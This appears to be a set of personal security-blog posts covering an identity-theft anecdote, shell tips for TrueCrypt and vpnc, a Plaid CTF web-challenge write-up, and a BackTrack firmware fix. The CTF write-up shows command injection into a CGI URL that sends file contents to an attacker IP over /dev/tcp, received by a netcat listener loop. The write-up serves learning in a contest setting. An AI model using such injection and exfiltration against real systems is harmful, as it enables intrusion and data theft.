An interesting incident happened this past week to a friend – he had his identity stolen. More specifically, someone got a hold of his social security number (SSN), his date of birth (apparently) and his address. What the scammers or their “mules” (a term used to describe criminals who act on behalf of the actual criminal at their behest) did was that they went to the bank and requested to wire a huge sum of money to an account. The neat trick they played was before actually going to the bank they called the Verizon helpdesk and suspended my friend’s phone service. When they reached the bank and showed the bank agent the ID (some sort of a non-standard / fake ID) and gave the SSN to the bank agent, he/she grew suspicious and tried to contact my friend. However, due to Verizon suspending his phone service, the bank agent couldn’t get a hold of my friend. Luckily, the bank agent also sent my friend an email to which he responded promptly. The culprits were arrested and the investigation is still on.
What was quite interesting was, the modus operandi where the criminals know that banks rely on calling the customers if they suspect fraud and they had this covered. Quite intelligent.
So, you know what you need to do if your phone suddenly stops working – check if ID thieves have had a run on you, change all your passwords including email, change your credit card accounts and bank accounts and PINs and place a hold on your credit history with the credit reporting agencies such as Experian, Equifax and TransUnion.

To avoid saving the truecrypt password in history files and mounting the Truecrypt partitions on bash the following trick helps:

history -d $((HISTCMD-1)) && sudo truecrypt --mount <PATH_TO_TRUECRYPT_VOL> --non-interactive -p <PASSWORD>

This will avoid saving the password in the .bash_history file and also mount the truecrypt volume from the command line.  Of course, if you use this in a shell script then the shell script will have the password in it, so you must not do that.

I was using the vpnc the other day on my Backtrack 4 R2 system to log in to VPN. I noticed that there was nothing that would give me the status of whether or not the tunnel was up. So I wrote a small one-liner to help me:

while [ `ps aux |grep vpnc|grep -v grep|awk '{print $2}'` ] ; do printf "Connected\r"; done


The Plaid Parliament of Pwning organized their own Capture-the-Flag (CtF) contest this past weekend. It was an excellent CtF with about 36 challenges ranging from trivia, exploitation, reverse engineering, web exploitation, cryptography, and forensics.

My writeup for #16 – Plain sight [200 pts] web
The problem was

The time to strike is now! This fiendish AED employee decided to hide secret data on this website (http://a4.amalgamated.biz/cgi-bin/chroot.cgi)
It seems that the employee was in the middle of creating the website when our operatives stumbled upon it.
The good news is that there are surely bugs in the development version of this problem, the bad news is currently no feedback printed to users.
Some of our leet operatives have determined a little bit about the machine: it runs in a read-only environment with only
bash cat dc expand grep hd head id less ls more nl od pr rev sh sleep sort sum tail tar tr true tsort ul wc yes
installed.

Find what AED is hiding, good luck and godspeed.

There was a URL http://a4.amalgamated.biz/cgi-bin/chroot.cgi that allowed remote code execution.
bash, cat, less, more, ls were allowed.

First thing I did was checked if the bash TCP connections were allowed using:
http://a4.amalgamated.biz/cgi-bin/chroot.cgi?ls>/dev/tcp/MYIP/5000

That seemed to work. So then I listed the directories one by one until I bumped onto:
I used http://a4.amalgamated.biz/cgi-bin/chroot.cgi?cat%20keyfolder/key>/dev/tcp/MYIP/5000 I had the port forwarded to my PC and a netcat listener running in a loop
while [ 1 ]
do
nc -l -v -p 5000
done

The answer was esc4p3_str1ng5.

Fun times!

i updated my backtrack 4 R1 finally using the directions mentioned here. However, after the upgrade my Intel Corporation Wireless WiFi Link 5100 wireless adapter stopped working. My first thought was that the driver was corrupted or something after the upgrade.
But looking through the ‘dmesg‘ command output it became clear that during the startup a particular file iwlwifi-5000-2.ucode could not be located. I thought a reinstall will do it (always works right?).
# apt-get install firmware-iwlwifi
No luck yet! Searching for these files showed me that they were in two locations and both of these were identical (verified via md5sum) :
/lib/firmware-2.6.30.9/iwlwifi-5000-2.ucode
/lib/firmware-2.6.34/iwlwifi-5000-2.ucode
So I just added a symbolic link as follows:
ln -s /lib/firmware-2.6.34/iwlwifi-5000-2.ucode /lib/firmware-2.6.35.8/iwlwifi-5000-2.ucode
Voila! It now worked! Hope it helps!